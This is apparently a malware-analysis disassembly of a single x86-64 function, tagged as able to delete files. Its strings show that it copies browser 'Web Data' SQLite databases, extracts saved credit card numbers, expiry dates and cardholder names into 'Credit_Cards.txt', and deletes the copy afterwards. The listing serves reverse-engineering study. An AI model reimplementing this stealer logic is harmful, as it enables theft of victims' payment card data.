Function at 0x51de30
Capabilities:
Delete file

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x558
mov rbx, rcx
lea rcx, [rsp + 0x2c0]
lea rsi, [rsp + 0x238]
call fcn.005c40b0
mov rax, qword [rbx + 0x18]
mov qword [rsp + 0x88], rax
lea rax, [rbx + 8]
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0x88]
cmp qword [rsp + 0x68], rdx
je 0x51e642
lea rax, [rsp + 0x320]
add rdx, 0x20
mov rcx, rax
mov qword [rsp + 0x30], rax
call fcn.005ccea0
lea r14, [rsp + 0xb8]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.005d8360
lea rax, [rsp + 0x2e8]
lea rdx, [rsp + 0x340]
mov rcx, rax
mov qword [rsp + 0x40], rax
call fcn.0052db70
mov rcx, qword [0x0062bc60]
mov rdx, r14
call fcn.005fef20
mov rcx, rax
call fcn.005fc1f0
lea r12, [rsp + 0x378]
lea r8, [0x00615a70]
lea rdx, [0x0066e6c0]
mov rcx, r12
call fcn.005ff440
lea r13, [rsp + 0xd8]
mov r8, r14
mov rdx, r12
mov rcx, r13
call fcn.005ff300
mov rcx, r12
call fcn.005d5f80
mov rdx, r13
mov rcx, r12
call fcn.0040600c
mov rcx, r12
call fcn.0059a0f0
mov edi, eax
mov rcx, r12
call fcn.00405940
test dil, dil
jne 0x51df5e
mov rdx, r13
mov rcx, r12
call fcn.0040600c
mov rcx, r12
call fcn.00597780
mov rcx, r12
call fcn.00405940
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x38], rax
mov rdi, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rdi
je 0x51e60c
lea r15, [rsp + 0xf8]
mov rdx, qword [rsp + 0x38]
mov rcx, r15
call fcn.005d8360
mov rcx, qword [0x0062bc60]
mov rdx, r15
call fcn.005fef20
mov rcx, rax
call fcn.005fc1f0
or r8, 0xffffffffffffffff
lea rdx, [0x00615a70]
mov rcx, r15
call fcn.005467b0
cmp rax, 0xffffffffffffffff
je 0x51e5f4
lea rbp, [rsp + 0x118]
or r9, 0xffffffffffffffff
lea r8, [rax + 1]
mov rdx, r15
mov rcx, rbp
call fcn.00546fd0
lea r8, [0x00615a70]
mov rdx, r13
mov rcx, r12
call fcn.005ff440
lea rdi, [rsp + 0x138]
mov r8, rbp
mov rdx, r12
mov rcx, rdi
call fcn.005ff300
mov rcx, r12
call fcn.005d5f80
mov rdx, rdi
mov rcx, r12
call fcn.0040600c
mov rcx, r12
call fcn.0059a0f0
mov ebp, eax
mov rcx, r12
call fcn.00405940
test bpl, bpl
jne 0x51e059
mov rdx, rdi
mov rcx, r12
call fcn.0040600c
mov rcx, r12
call fcn.00597780
mov rcx, r12
call fcn.00405940
lea r8, str.Web_Data
mov rdx, r15
mov rcx, r12
call fcn.005ff440
lea rax, [rsp + 0xa0]
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x70], r12
mov rcx, rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x78], 1
call fcn.004062a6
mov rcx, r12
call fcn.005d5f80
mov rax, qword [rsp + 0xa8]
mov rbp, qword [rsp + 0xa0]
mov qword [rsp + 0x58], rax
jmp 0x51e108
lea r15, [rsp + 0x158]
mov rdx, rbp
mov rcx, r15
call fcn.005d8360
mov rdx, r15
mov rcx, r12
call fcn.0040600c
mov rcx, r12
call fcn.0059a0f0
mov edi, eax
mov rcx, r12
call fcn.00405940
test dil, dil
jne 0x51e114
lea rcx, [rsp + 0x158]
add rbp, 0x20
call fcn.005d5f80
cmp rbp, qword [rsp + 0x58]
jne 0x51e0c2
jmp 0x51e5d0
mov rdx, r15
mov rcx, r12
call fcn.005d8360
lea rcx, [rsp + 0x178]
mov rdx, r12
call fcn.00404224
mov rcx, r12
call fcn.005d5f80
mov rcx, qword [0x0062bc60]
lea rdx, str.Database_copied_from_::
call fcn.005fecb0
mov rcx, rax
mov rdx, r15
call fcn.005fef20
mov rcx, rax
lea rdx, str._to_::
call fcn.005fecb0
lea rdi, [rsp + 0x178]
mov rcx, rax
mov rdx, rdi
call fcn.005fef20
mov rcx, rax
call fcn.005fc1f0
mov rcx, qword [0x0062bc60]
lea rdx, [rsp + 0xf8]
call fcn.005fef20
mov rcx, rax
call fcn.005fc1f0
mov rcx, qword [rsp + 0x178]
lea rdx, [rsp + 0x90]
call fcn.004bdfc0
mov r15d, eax
test eax, eax
je 0x51e1e5
mov rcx, qword [0x0062bc60]
lea rdx, str.Fail_opening_database__sqlite3_code:
call fcn.005fecb0
mov rcx, rax
mov edx, r15d
call fcn.00591610
mov rcx, rax
call fcn.005fc1f0
mov rcx, rdi
jmp 0x51e5c6
mov rcx, qword [0x0062bc60]
lea rdx, str.Database_opened
call fcn.005fecb0
mov rcx, rax
call fcn.005fc1f0
mov rdx, qword [rbx + 0x58]
mov rcx, qword [rsp + 0x90]
lea r9, [rsp + 0x98]
or r8d, 0xffffffff
mov qword [rsp + 0x20], 0
call fcn.004cc380
lea r15, [rsp + 0x298]
lea rdx, [rsp + 0x138]
lea r8, str.Credit_Cards.txt
mov rcx, r15
call fcn.005ff440
lea rcx, [rsp + 0x378]
mov r8d, 0x10
mov rdx, r15
call fcn.005c1690
mov rcx, r15
call fcn.005d5f80
mov rcx, qword [rsp + 0x98]
call fcn.004dcbc0
cmp eax, 0x64
jne 0x51e58b
mov rcx, qword [0x0062bc60]
lea rdx, str.New_Cookie
call fcn.005fecb0
mov rcx, rax
call fcn.005fc1f0
mov rcx, qword [rsp + 0x98]
xor edx, edx
call fcn.00444a90
mov rdx, rax
lea rcx, [rsp + 0x198]
call fcn.00405b00
mov rcx, qword [rsp + 0x98]
mov edx, 1
call fcn.00444a90
mov rdx, rax
lea rcx, [rsp + 0x1b8]
call fcn.00405b00
mov rcx, qword [rsp + 0x98]
mov edx, 2
call fcn.00444a90
mov rdx, rax
lea rcx, [rsp + 0x1d8]
call fcn.00405b00
mov rcx, qword [rsp + 0x98]
mov edx, 3
call fcn.00444a90
mov rdx, rax
lea rcx, [rsp + 0x1f8]
call fcn.00405b00
lea rdi, [rsp + 0x1f8]
mov r9d, 3
xor r8d, r8d
mov rcx, rsi
lea rax, [rsp + 0x228]
mov rdx, rdi
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x218], rax
mov byte [rsp + 0x228], 0
call fcn.00546fd0
cmp qword [rsp + 0x1a0], 0
je 0x51e542
cmp qword [rsp + 0x1c0], 0
je 0x51e542
cmp qword [rsp + 0x1e0], 0
je 0x51e542
cmp qword [rsp + 0x200], 0
je 0x51e542
lea rdx, [0x00615b20]
mov rcx, rsi
call fcn.005fec30
test al, al
jne 0x51e3d0
lea rdx, [0x00615b24]
mov rcx, rsi
call fcn.005fec30
test al, al
jne 0x51e3d0
lea r15, [rsp + 0x298]
mov rdx, rdi
mov rcx, r15
call fcn.005d8360
jmp 0x51e43d
lea rax, [rsp + 0x298]
lea rdx, [rsp + 0x300]
mov rcx, rax
mov qword [rsp + 0x50], rax
call fcn.005d8360
lea r15, [rsp + 0x278]
mov rdx, rdi
mov rcx, r15
call fcn.005d8360
lea rdi, [rsp + 0x258]
lea r8, [rsp + 0x298]
mov rdx, r15
mov rcx, rdi
call fcn.0040489a
lea rcx, [rsp + 0x218]
mov rdx, rdi
call fcn.005d8960
mov rcx, rdi
call fcn.005d5f80
lea rcx, [rsp + 0x278]
jmp 0x51e463
lea rdi, [rsp + 0x278]
mov rdx, r15
mov rcx, rdi
call fcn.0040401f
lea rcx, [rsp + 0x218]
mov rdx, rdi
call fcn.005d8960
mov rcx, rdi
call fcn.005d5f80
lea r15, [rsp + 0x298]
lea rcx, [rsp + 0x298]
call fcn.005d5f80
lea rdx, [0x00615b28]
mov rcx, r15
call fcn.00405b00
lea rdi, [rsp + 0x218]
mov rdx, r15
mov rcx, rdi
call fcn.005fec00
mov rcx, r15
mov byte [rsp + 0x50], al
call fcn.005d5f80
mov al, byte [rsp + 0x50]
test al, al
jne 0x51e542
lea rcx, [rsp + 0x378]
lea rdx, str.CC_NUMBER_:
call fcn.005fecb0
mov rcx, rax
mov rdx, rdi
call fcn.005fef20
mov rcx, rax
lea rdx, str.__EXP_:
call fcn.005fecb0
mov rcx, rax
lea rdx, [rsp + 0x1b8]
call fcn.005fef20
mov rcx, rax
lea rdx, [0x00615bc2]
call fcn.005fecb0
mov rcx, rax
lea rdx, [rsp + 0x1d8]
call fcn.005fef20
mov rcx, rax
lea rdx, str.__NAME_ON_CARD:
call fcn.005fecb0
mov rcx, rax
lea rdx, [rsp + 0x198]
call fcn.005fef20
mov rcx, rax
lea rdx, [0x00615b47]
call fcn.005fecb0
mov rcx, rsi
call fcn.005d5f80
lea rcx, [rsp + 0x218]
call fcn.005d5f80
lea rcx, [rsp + 0x1f8]
call fcn.005d5f80
lea rcx, [rsp + 0x1d8]
call fcn.005d5f80
lea rcx, [rsp + 0x1b8]
call fcn.005d5f80
lea rcx, [rsp + 0x198]
jmp 0x51e25e
lea r15, [rsp + 0x378]
mov rcx, r15
call fcn.005c1260
mov rcx, qword [rsp + 0x90]
call fcn.0048dc50
mov rcx, qword [rsp + 0x178]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, r15
call fcn.005c1dc0
lea rcx, [rsp + 0x178]
call fcn.005d5f80
jmp 0x51e0f7
mov rcx, qword [rsp + 0x48]
call fcn.00406120
lea rcx, [rsp + 0x138]
call fcn.005d5f80
lea rcx, [rsp + 0x118]
call fcn.005d5f80
lea rcx, [rsp + 0xf8]
call fcn.005d5f80
add qword [rsp + 0x38], 0x20
jmp 0x51df78
mov rcx, r13
call fcn.005d5f80
mov rcx, qword [rsp + 0x40]
call fcn.00406142
mov rcx, r14
call fcn.005d5f80
mov rcx, qword [rsp + 0x30]
call fcn.00406160
lea rcx, [rsp + 0x88]
call fcn.005c82f0
jmp 0x51de70
lea rcx, [rsp + 0x2b8]
call fcn.00406180
nop
add rsp, 0x558
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret